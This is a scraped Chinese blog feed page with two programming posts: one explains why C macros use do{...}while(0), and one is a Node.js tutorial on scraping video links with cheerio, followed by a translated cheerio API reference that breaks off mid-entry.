[?]|登录|免费注册®
高级...

浏览选项

  • 手机网站排名
  • 手机网用户圈
  • UA设置:(默认)
  • 设置浏览参数
  • 重新下载页面

[+](无标题)

?博客园_首页代码改变世界uuid:13a49a62-c178-45b4-a6e2-7ad891150c7d;id=92102014-04-18T22:49:23Zfeed.cnblogs.comhttp://www.cnblogs.com/lizhenghn/p/3674430.htmldo{...}while(0)的妙用 - lizhenghn在学习第一门编程语言时,就已经介绍了顺序分支、条件分支、循环分支。比如循环分支有for、while、do-while语句。在随后的学校及工作中,如果手工循环一般使用for、while,很少使用do-while,感觉用处不大,但现在看来,do-while大有用途。1. 帮助定义复杂的宏以避免错误如果你...2014-04-18T17:05:00Z2014-04-18T17:05:00Zlizhenghnhttp://www.cnblogs.com/lizhenghn/<p>在学习第一门编程语言时,就已经介绍了顺序分支、条件分支、循环分支。比如循环分支有for、while、do-while语句。在随后的学校及工作中,如果手工循环一般使用for、while,很少使用do-while,感觉用处不大,但现在看来,do-while大有用途。</p><p><strong>1. 帮助定义复杂的宏以避免错误</strong></p><p>如果你是一个C语言程序员,你肯定很熟悉数不清的各种宏定义。如果使用得当,它能简化你的一些工作,而且威力强大。然而如果你没有仔细的定义一个宏实现,那在出错时可能会惹得你发狂。在很多C程序中,你可能看到一些很特殊的、也没有那么直观的宏定义。比如说:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #0000ff;">#define</span> __set_task_state(tsk, state_value) \<br/><span style="color: #0000ff;">do</span> { (tsk)-&gt;state = (state_value); } <span style="color: #0000ff;">while</span> (<span style="color: #800080;">0</span>)</div><p><span style="line-height: 1.5;">在Linux内核和其它一些著名的C库中有许多这样使用do{...}while(0)的宏定义。这种宏的用途是什么?Google的Robert Love(先前从事Linux内核开发)给了我们如下解答:</span></p><blockquote><p>do{...}while(0)在C中是唯一的构造程序,让你定义的宏总是以相同的方式工作,这样不管怎么使用宏(尤其在没有用大括号包围调用宏的语句),宏后面的分号也是相同的效果。</p></blockquote><p>例如:<span style="line-height: 1.5;">&nbsp;</span></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span>#define</span> foo(x) bar(x); baz(x)</div><p>&nbsp;然后你可能这样调用:&nbsp;</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">foo(wolf);</div><p>&nbsp;这样该宏被扩展为:&nbsp;</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">bar(wolf); baz(wolf);</div><p>&nbsp;这的确是我们期望的正确输出。但是如果我们这样调用:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span>if</span> (!feral)<br/> foo(wolf);</div><p>&nbsp;那么扩展后可能就不是你所期望的结果。现在宏被扩展为:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span>if</span> (!feral)<br/> bar(wolf);<br/> baz(wolf);</div><p>&nbsp;看到问题了么?很明显,这是错误的,也是我们在编程中很容易出现或忽略的情况。</p><p> 在所有可能情况下,期望我们写的多语句宏总能有正确的表现几乎是不可能的。你不能让宏表现的像函数一样---在没有do/while(0)的情况下。<br /> 如果我们使用do{...}while(0)来重新定义宏,即:<br /></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span>#define</span> foo(x) do { bar(x); baz(x); } while (0)</div><p>&nbsp;现在,这个语句在功能上等价于前者,do能确保大括号里的逻辑能被执行,而while(0)能确保该逻辑只被执行一次,就像没有循环语句一样。</p><p> 对于上面的if语句,现在将会被扩展为:<br /></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span>if</span> (!feral)<br/> <span>do</span> { bar(wolf); baz(wolf); } <span>while</span> (<span>0</span>);</div><p>从语义上讲,它与下面的语句是等价的:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span>if</span> (!feral) {<br/> bar(wolf);<br/> baz(wolf);<br/>}</div><p>现在你可能会反驳我,为什么不直接用大括号把宏包围起来呢?为什么非得使用do/while(0)呢?<br /> 例如,我们用大括号来定义宏:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span>#define</span> foo(x) { bar(x); baz(x); }</div><p>这对于上面if语句的确能被正确扩展,但是如果我们有下面的语句调用呢:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span>if</span> (!feral)<br/> foo(wolf);<br/><span>else</span><br/> bin(wolf);</div><p>宏扩展后将变成:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span>if</span> (!feral) {<br/> bar(wolf);<br/> baz(wolf);<br/>}; <br/><span>else</span><br/> bin(wolf);</div><p>很明显,这是一个语法错误(大括号后多了一个分号)。<br /> 总结:Linux和其它代码库里的宏都用do/while(0)来包围执行逻辑,因为它能确保宏的行为总是相同的,而不管在调用代码中怎么使用分号和大括号。<br />我的心得,这是我最喜欢使用do-while的一处用法,如果你开发了一个库、甚至就只是一个宏实现提供给别人使用,你不能确信所有人都会按照你的意图正确使用该实现,有的使用者处处加大括号,也有的人认为你会处理的。因此你需要保证你的实现在各种使用场景下都是表现一致的。另外,就像Scott Meyers在Effective C++中谈及的,让接口容易被正确使用,而不易被误用。</p><p><strong>2. 避免使用goto控制程序流</strong></p><p>在一些函数中,我们可能需要在return语句之前做一些工作,比如释放在函数一开始由malloc函数申请的内存空间,使用goto总是一种简单的方法:<br /></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span>int</span> foo()<br/>{<br/> somestruct *ptr = malloc(...);<br/><br/> dosomething...;<br/> <span>if</span>(error)<br/> <span>goto</span> END;<br/> dosomething...;<br/> <span>if</span>(error)<br/> <span>goto</span> END;<br/> dosomething...;<br/>END:<br/> free(ptr);<br/> <span>return</span> <span>0</span>;<br/>}</div><p>&nbsp;但由于goto语句可能会使代码很难阅读,因此许多人都不推荐使用它,那么我们可以使用do{...}while(0)来做同样的事情:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span>int</span> foo()<br/>{<br/> somestruct *ptr = malloc(...);<br/> <span>do</span><br/> {<br/> dosomething...;<br/> <span>if</span>(error)<br/> <span>break</span>;<br/> dosomething...;<br/> <span>if</span>(error)<br/> <span>break</span>;<br/> dosomething...;<br/> }<br/> <span>while</span>(<span>0</span>);<br/><br/> free(ptr);<br/> <span>return</span> <span>0</span>;<br/>}</div><p>&nbsp;这里我们使用do{...}while(0)来包含函数的主要部分,同时使用break替换goto,现在代码的可读性、可维护性都要比上面的goto代码好的多了。</p><p>我的心得,这也是喜欢do-while的第二个用法,非常好。比如有个人认为这样会导致很多变量要在do-while语句外面提前声明(这是C++程序反对的一点,用时才声明),<br />也有人认为还有强大的RAII和智能指针神马的,不怕内存问题。但是,在某些场景下,要是这些都不能用呢,比如C语言?比如没有smart ptr?比如维护的是旧代码?</p><p><strong>3. 避免由宏引起的警告</strong></p><p>由于不同内核体系结构的限制,我们可能需要多次使用空宏。在编译的时候,这些空宏会产生警告,为了避免这种警告,我们可以使用do{...}while(0)来定义空宏:<br /></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span>#define</span> EMPTYMICRO do{}while(0)</div><p>好吧,这种情况我还没有见到。&nbsp;</p><p><strong>4. 定义单一的函数块来完成复杂的操作</strong></p><p>如果你有一个复杂的函数而且你不想要增加新的函数,可以使用do{...}while(0),将你的代码放在里面并定义一些变量,这样你就不必担心do{...}while(0)外面的变量名是否与do{...}while(0)里面的变量名相同造成重复了。<br />这个我也不是很理解,难道是一个变量多处使用,可以在每个do-while中缩小作用域,比如:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span>int</span> key;<br/><span>string</span> value;<br/><span>int</span> func()<br/>{<br/> <span>int</span> key = GetKey();<br/> <span>string</span> value = GetValue();<br/> dosomething <span>for</span> key,value<br/> <span>do</span>{<br/> <span>int</span> key;<span>string</span> value<br/> dosomething <span>for</span> <span>this</span> key,value<br/> }<span>while</span>(<span>0</span>); <br/>}</div><p>注,以上内容来自:</p><p><a href="http://www.pixelstech.net/article/1390482950-do-%7B-%7D-while-%280%29-in-macros">http://www.pixelstech.net/article/1390482950-do-%7B-%7D-while-%280%29-in-macros</a></p><p><a href="http://www.pixelstech.net/article/1350871981-Significance-and-use-of-do%7B-%7Dwhile%280%29-">http://www.pixelstech.net/article/1350871981-Significance-and-use-of-do%7B-%7Dwhile%280%29-</a><br /><br /></p><p>&nbsp;</p><img src="http://counter.cnblogs.com/blog/rss/3674430" width="1" height="1" alt=""/><br/><p>本文链接:<a href="http://www.cnblogs.com/lizhenghn/p/3674430.html" target="_blank">do{...}while(0)的妙用</a>,转载请注明。</p>http://www.cnblogs.com/CraryPrimitiveMan/p/3674421.htmlNode.js的学习--使用cheerio抓取网页数据 - 疯狂的原始人打算要写一个公开课网站,缺少数据,就决定去网易公开课去抓取一些数据。前一阵子看过一段时间的Node.js,而且Node.js也比较适合做这个事情,就打算用Node.js去抓取数据。关键是抓取到网页之后如何获取到想要的数据呢?然后就发现了cheerio,用来解析html非常方便,就像在浏览器中使用jq...2014-04-18T16:55:00Z2014-04-18T16:55:00Z疯狂的原始人http://www.cnblogs.com/CraryPrimitiveMan/<p>打算要写一个公开课网站,缺少数据,就决定去网易公开课去抓取一些数据。</p><p>前一阵子看过一段时间的Node.js,而且Node.js也比较适合做这个事情,就打算用Node.js去抓取数据。</p><p>关键是抓取到网页之后如何获取到想要的数据呢?然后就发现了cheerio,用来解析html非常方便,就像在浏览器中使用jquery一样。</p><p>使用如下命令安装cheerio</p><p><span>&nbsp; &nbsp; &nbsp;<strong>npm install cheerio</strong></span></p><p><span><span>Cheerio安装完成, 我们就可以开始工作了。 首先让我们来看一段javascript代码 这段代码可以下载任意一个网页的内容。将其放入到curl.js中,并导出。</span></span></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #0000ff;">var</span> http = require("http"<span style="color: #000000;">);<br/> <br/></span><span style="color: #008000;">//</span><span style="color: #008000;"> Utility function that downloads a URL and invokes</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> callback with the data.</span><br/><span style="color: #0000ff;">function</span><span style="color: #000000;"> download(url, callback) {<br/> http.get(url, </span><span style="color: #0000ff;">function</span><span style="color: #000000;">(res) {<br/> </span><span style="color: #0000ff;">var</span> data = ""<span style="color: #000000;">;<br/> res.on(</span>'data', <span style="color: #0000ff;">function</span><span style="color: #000000;"> (chunk) {<br/> data </span>+=<span style="color: #000000;"> chunk;<br/> });<br/> res.on(</span>"end", <span style="color: #0000ff;">function</span><span style="color: #000000;">() {<br/> callback(data);<br/> });<br/> }).on(</span>"error", <span style="color: #0000ff;">function</span><span style="color: #000000;">() {<br/> callback(</span><span style="color: #0000ff;">null</span><span style="color: #000000;">);<br/> });<br/>}<br/><br/>exports.download </span>= download;</div><p>然后是使用cheerio解析html,找到想要的数据。</p><p>我们先来自己分析一下页面。我们要抓取<a href="http://v.163.com/special/opencourse/englishs1.html">http://v.163.com/special/opencourse/englishs1.html</a>这个页面中的视频,视频的地址都在下载的按钮里。其中一个下载按钮的html的代码如下:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">a </span><span style="color: #ff0000;">class</span><span style="color: #0000ff;">="downbtn"</span><span style="color: #ff0000;"> href</span><span style="color: #0000ff;">="http://mov.bn.netease.com/mobilev/2013/1/F/G/S8KTEF7FG.mp4"</span><span style="color: #ff0000;"> id</span><span style="color: #0000ff;">="M8KTEKR84"</span><span style="color: #ff0000;"> target</span><span style="color: #0000ff;">="_blank"</span><span style="color: #0000ff;">&gt;&lt;/</span><span style="color: #800000;">a</span><span style="color: #0000ff;">&gt;</span></div><p>我们取到其中的href属性,只需要进行如下选择即可</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$("a.downbtn").attr("href");</div><p>在是现实,我们可以在index.js中写入如下代码</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #0000ff;">var</span> cheerio = require("cheerio"<span style="color: #000000;">);<br/></span><span style="color: #0000ff;">var</span> server = require("./curl"<span style="color: #000000;">);<br/> <br/></span><span style="color: #0000ff;">var</span> url = "http://v.163.com/special/opencourse/englishs1.html"<span style="color: #000000;"><br/><br/>server.download(url, </span><span style="color: #0000ff;">function</span><span style="color: #000000;">(data) {<br/> </span><span style="color: #0000ff;">if</span><span style="color: #000000;"> (data) {<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;">console.log(data);</span><br/> <br/> <span style="color: #0000ff;">var</span> $ =<span style="color: #000000;"> cheerio.load(data);<br/> $(</span>"a.downbtn").each(<span style="color: #0000ff;">function</span><span style="color: #000000;">(i, e) {<br/> console.log($(e).attr(</span>"href"<span style="color: #000000;">));<br/> });<br/> <br/> console.log(</span>"done"<span style="color: #000000;">);<br/> } </span><span style="color: #0000ff;">else</span><span style="color: #000000;"> {<br/> console.log(</span>"error"<span style="color: #000000;">);<br/> } <br/>});</span></div><p>然后执行</p><p>&nbsp; &nbsp; &nbsp;<strong>node index.js</strong></p><p>这样就可以在命令框里面打印出页面上所有的视频地址。如下图</p><p><img src="http://images.cnitblog.com/i/587057/201404/190025051825721.png" alt="" /></p><p>&nbsp;</p><p><strong>cheerio中文API [<a href="http://cnodejs.org/topic/5203a71844e76d216a727d2e" target="_blank">参考</a>]</strong></p><p><strong>我们将用到的标记示例</strong></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">ul </span><span style="color: #ff0000;">id</span><span style="color: #0000ff;">="fruits"</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">li </span><span style="color: #ff0000;">class</span><span style="color: #0000ff;">="apple"</span><span style="color: #0000ff;">&gt;</span>Apple<span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">li</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">li </span><span style="color: #ff0000;">class</span><span style="color: #0000ff;">="orange"</span><span style="color: #0000ff;">&gt;</span>Orange<span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">li</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">li </span><span style="color: #ff0000;">class</span><span style="color: #0000ff;">="pear"</span><span style="color: #0000ff;">&gt;</span>Pear<span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">li</span><span style="color: #0000ff;">&gt;</span><br/><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">ul</span><span style="color: #0000ff;">&gt;</span></div><p><span style="line-height: 1.5;">这是我们将会在所有的API例子中用到的HTML标记</span></p><p><strong>Loading</strong></p><p>首先你需要加载HTML。这一步对jQuery来说是必须的,since jQuery operates on the one, baked-in DOM。通过Cheerio,我们需要把HTML document 传进去。</p><p>这是<span>首选</span>:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #0000ff;">var</span> cheerio =require('cheerio'<span style="color: #000000;">),<br/> $ </span>= cheerio.load('&lt;ul id="fruits"&gt;...&lt;/ul&gt;');</div><p><span style="line-height: 1.5;">或者通过传递字符串作为内容来加载HTML:</span></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$ =require('cheerio'<span style="color: #000000;">);<br/>$(</span>'ul','&lt;ul id="fruits"&gt;...&lt;/ul&gt;');</div><p><span style="line-height: 1.5;">Or as the root:</span></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$ =require('cheerio'<span style="color: #000000;">);<br/>$(</span>'li','ul','&lt;ul id="fruits"&gt;...&lt;/ul&gt;');</div><p><span style="line-height: 1.5;">你也可以传递一个额外的对象给.load()如果你需要更改任何的默认解析选项的话:</span></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$ = cheerio.load('&lt;ul id="fruits"&gt;...&lt;/ul&gt;'<span style="color: #000000;">,{<br/> ignoreWhitespace:</span><span style="color: #0000ff;">true</span><span style="color: #000000;">,<br/> xmlMode:</span><span style="color: #0000ff;">true</span>});</div><p><span style="line-height: 1.5;">这些解析选项都是直接来自htmlparser ,因此任何在htmlparser里有效的选项在Chreeio里也是行得通的。默认的选项如下:</span></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #000000;">{<br/> ignoreWhitespace:</span><span style="color: #0000ff;">false</span><span style="color: #000000;">,<br/> xmlMode:</span><span style="color: #0000ff;">false</span><span style="color: #000000;">,<br/> lowerCaseTags:</span><span style="color: #0000ff;">false</span><span style="color: #000000;"><br/>}</span></div><p><strong>Selectors</strong></p><p>Cheerio的选择器用起来几乎和jQuery一样,所以API也很相似。</p><p><strong>$(selectior,[context],[root])</strong></p><p>选择器在 Context 范围内搜索,Context又在Root范围内搜索。selector 和context可是是一个字符串表达式,DOM元素,和DOM元素的数组,或者chreeio对象。root 是通常是HTML 文档字符串。</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('.apple','#fruits'<span style="color: #000000;">).text()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; Apple</span><br/><span style="color: #000000;"><br/>$(</span>'ul .pear').attr('class'<span style="color: #000000;">)<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; pear</span><br/><span style="color: #000000;"><br/>$(</span>'li[class=orange]'<span style="color: #000000;">).html()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;li class="orange"&gt;Orange&lt;/li&gt;</span></div><p><strong>Attributes</strong></p><p>获得和修改属性</p><p><strong>.attr(name,value)</strong></p><p>获得和修改属性。在匹配的元素中只能获得第一元素的属性。如果设置一个属性的值为null,则移除这个属性。你也可以传递一对键值,或者一个函数。</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('ul').attr('id'<span style="color: #000000;">)<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; fruits</span><br/><span style="color: #000000;"><br/>$(</span>'.apple').attr('id','favorite'<span style="color: #000000;">).html()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;li class="apple" id="favorite"&gt;Apple&lt;/li&gt;</span></div><p><strong>.val([value])</strong></p><p>获得和修改input,select,textarea的value.注意: 对于传递键值和函数的支持还没有被加进去。</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('input[type="text"]'<span style="color: #000000;">).val()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; input_text</span><br/><span style="color: #000000;"><br/>$(</span>'input[type="text"]').val('test'<span style="color: #000000;">).html()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt;&lt;input type="text" value="test"/&gt;</span></div><p><strong>.removeAttr(name)</strong></p><p>通过name删除属性</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('.pear').removeAttr('class'<span style="color: #000000;">).html()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;li&gt;Pear&lt;/li&gt;</span></div><p><strong><span style="line-height: 1.5;">.hasClass( className )</span></strong></p><p>检查匹配的元素是否有给出的类名</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('.pear').hasClass('pear'<span style="color: #000000;">)<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; true</span><br/><span style="color: #000000;"><br/>$(</span>'apple').hasClass('fruit'<span style="color: #000000;">)<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; false</span><br/><span style="color: #000000;"><br/>$(</span>'li').hasClass('pear'<span style="color: #000000;">)<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; true</span></div><p><strong>.addClass(className)</strong></p><p>增加class(es)给所有匹配的elements.也可以传函数。</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('.pear').addClass('fruit'<span style="color: #000000;">).html()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;li class="pear fruit"&gt;Pear&lt;/li&gt;</span><br/><span style="color: #000000;"><br/>$(</span>'.apple').addClass('fruit red'<span style="color: #000000;">).html()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;li class="apple fruit red"&gt;Apple&lt;/li&gt;</span></div><p><strong>.removeClass([className])</strong></p><p>从选择的elements里去除一个或多个有空格分开的class。如果className 没有定义,所有的classes将会被去除,也可以传函数。</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('.pear').removeClass('pear'<span style="color: #000000;">).html()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;li class=""&gt;Pear&lt;/li&gt;</span><br/><span style="color: #000000;"><br/>$(</span>'.apple').addClass('red'<span style="color: #000000;">).removeClass().html()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;li class=""&gt;Apple&lt;/li&gt;</span></div><p><strong><span style="font-size: 1em; line-height: 1.5;">.toggleClass( className, [switch] )</span></strong></p><p>添加或删除class,依赖于当前是否有该class.</p><div class="highlight highlight-js"><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('.apple.green').toggleClass('fruit green red'<span style="color: #000000;">).html()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;li class="apple fruit red"&gt;Apple&lt;/li&gt;</span><br/><span style="color: #000000;"><br/>$(</span>'.apple.green').toggleClass('fruit green red', <span style="color: #0000ff;">true</span><span style="color: #000000;">).html()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;li class="apple green fruit red"&gt;Apple&lt;/li&gt;</span></div><p><strong><span style="font-size: 1em; line-height: 1.5;">.is( selector )</span></strong></p><p><strong><a class="anchor" name="user-content-is-element-" href="https://github.com/cheeriojs/cheerio#is-element-"></a>.is( element )</strong></p><p><strong><a class="anchor" name="user-content-is-selection-" href="https://github.com/cheeriojs/cheerio#is-selection-"></a>.is( selection )</strong></p><p><strong><a class="anchor" name="user-content-is-functionindex-" href="https://github.com/cheeriojs/cheerio#is-functionindex-"></a>.is( function(index) )</strong></p></div><p>有任何元素匹配selector就返回true。如果使用判定函数,判定函数在选中的元素中执行,所以this指向当前的元素。</p><p><strong>Traversing</strong></p><p><strong>.find(selector)</strong></p><p>获得一个在匹配的元素中由选择器滤过的后代。</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('#fruits').find('li'<span style="color: #000000;">).length<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; 3</span></div><p><strong><span style="line-height: 1.5;">.parent([selector])</span></strong></p><p>获得每个匹配元素的parent,可选择性的通过selector筛选。</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('.pear').parent().attr('id')<br /><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; fruits</span></div><p><strong>.parents([selector])</strong></p><p>获得通过选择器筛选匹配的元素的parent集合。</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('.orange'<span style="color: #000000;">).parents().length<br/></span><span style="color: #008000;">//</span><span style="color: #008000;"> =&gt; 2</span><br/>$('.orange').parents('#fruits'<span style="color: #000000;">).length<br/></span><span style="color: #008000;">//</span><span style="color: #008000;"> =&gt; 1</span></div><p><strong><span style="line-height: 1.5;">.closest([selector])</span></strong></p><p>对于每个集合内的元素,通过测试这个元素和DOM层级关系上的祖先元素,获得第一个匹配的元素</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('.orange').closest()<span style="color: #008000;">//</span><span style="color: #008000;"> =&gt; []</span><br/>$('.orange').closest('.apple')<span style="color: #008000;">//</span><span style="color: #008000;"> =&gt; []</span><br/>$('.orange').closest('li')<span style="color: #008000;">//</span><span style="color: #008000;"> =&gt; [&lt;li class="orange"&gt;Orange&lt;/li&gt;]</span><br/>$('.orange').closest('#fruits')<span style="color: #008000;">//</span><span style="color: #008000;"> =&gt; [&lt;ul id="fruits"&gt; ... &lt;/ul&gt;]</span></div><p><strong><span style="line-height: 1.5;">.next()</span></strong></p><p>获得第一个本元素之后的同级元素</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('.apple').next().hasClass('orange')<br /><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; true</span></div><p><strong>.nextAll()</strong></p><p>获得本元素之后的所有同级元素</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('.apple'<span style="color: #000000;">).nextAll()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; [&lt;li class="orange"&gt;Orange&lt;/li&gt;, &lt;li class="pear"&gt;Pear&lt;/li&gt;]</span></div><p><strong><span style="line-height: 1.5;">.prev()</span></strong></p><p>获得本元素之前的第一个同级元素</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('.orange').prev().hasClass('apple'<span style="color: #000000;">)<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; true</span></div><p><strong>.preAll()</strong></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('.pear'<span style="color: #000000;">).prevAll()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; [&lt;li class="orange"&gt;Orange&lt;/li&gt;, &lt;li class="apple"&gt;Apple&lt;/li&gt;]</span></div><p><span style="line-height: 1.5;">获得本元素前的所有同级元素</span></p><p><strong>.slice(start,[end])</strong></p><p>获得选定范围内的元素</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('li').slice(1).eq(0<span style="color: #000000;">).text()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; 'Orange'</span><br/><span style="color: #000000;"><br/>$(</span>'li').slice(1,2<span style="color: #000000;">).length<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; 1</span></div><p><strong><span style="line-height: 1.5;">.siblings(selector)</span></strong></p><p>获得被选择的同级元素,不包括本身</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('.pear'<span style="color: #000000;">).siblings().length<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; 2</span><br/><span style="color: #000000;"><br/>$(</span>'.pear').siblings('.orange'<span style="color: #000000;">).length<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; 1</span></div><p><strong><span style="line-height: 1.5;">.children(selector)</span></strong></p><p>获被选择元素的子元素</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('#fruits'<span style="color: #000000;">).children().length<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; 3</span><br/><span style="color: #000000;"><br/>$(</span>'#fruits').children('.pear'<span style="color: #000000;">).text()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; Pear</span></div><p><strong><span style="line-height: 1.5;">.each(function(index,element))</span></strong></p><p>迭代一个cheerio对象,为每个匹配元素执行一个函数。When the callback is fired, the function is fired in the context of the DOM element, so this refers to the current element, which is equivalent to the function parameter element.要提早跳出循环,返回false.</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #0000ff;">var</span> fruits =<span style="color: #000000;">[];<br/><br/>$(</span>'li').each(<span style="color: #0000ff;">function</span><span style="color: #000000;">(i, elem){<br/> fruits[i]</span>= $(<span style="color: #0000ff;">this</span><span style="color: #000000;">).text();});<br/><br/>fruits.join(</span>', '<span style="color: #000000;">);<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; Apple, Orange, Pear</span></div><p><strong><span style="line-height: 1.5;">.map(function(index,element))</span></strong></p><p>迭代一个cheerio对象,为每个匹配元素执行一个函数。Map会返回一个迭代结果的数组。the function is fired in the context of the DOM element, so this refers to the current element, which is equivalent to the function parameter element</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('li').map(<span style="color: #0000ff;">function</span><span style="color: #000000;">(i, el){<br/></span><span style="color: #008000;">//</span><span style="color: #008000;"> this === el</span><br/><span style="color: #0000ff;">return</span> $(<span style="color: #0000ff;">this</span>).attr('class'<span style="color: #000000;">);<br/>}).join(</span>', '<span style="color: #000000;">);<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; apple, orange, pear</span></div><p><strong><span style="line-height: 1.5;">.filter(selector)</span></strong></p><p><strong>.filter(function(index))</strong></p><p>迭代一个cheerio对象,滤出匹配选择器或者是传进去的函数的元素。如果使用函数方法,这个函数在被选择的元素中执行,所以this指向的手势当前元素。</p><p>Selector:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('li').filter('.orange').attr('class'<span style="color: #000000;">);<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; orange</span></div><p><span style="line-height: 1.5;">Function:</span></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('li').filter(<span style="color: #0000ff;">function</span><span style="color: #000000;">(i, el){<br/></span><span style="color: #008000;">//</span><span style="color: #008000;"> this === el</span><br/><span style="color: #0000ff;">return</span> $(<span style="color: #0000ff;">this</span>).attr('class')==='orange'<span style="color: #000000;">;<br/>}).attr(</span>'class'<span style="color: #000000;">)<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; orange</span></div><p><strong><span style="line-height: 1.5;">.first()</span></strong></p><p>会选择chreeio对象的第一个元素</p><div style="background-color: 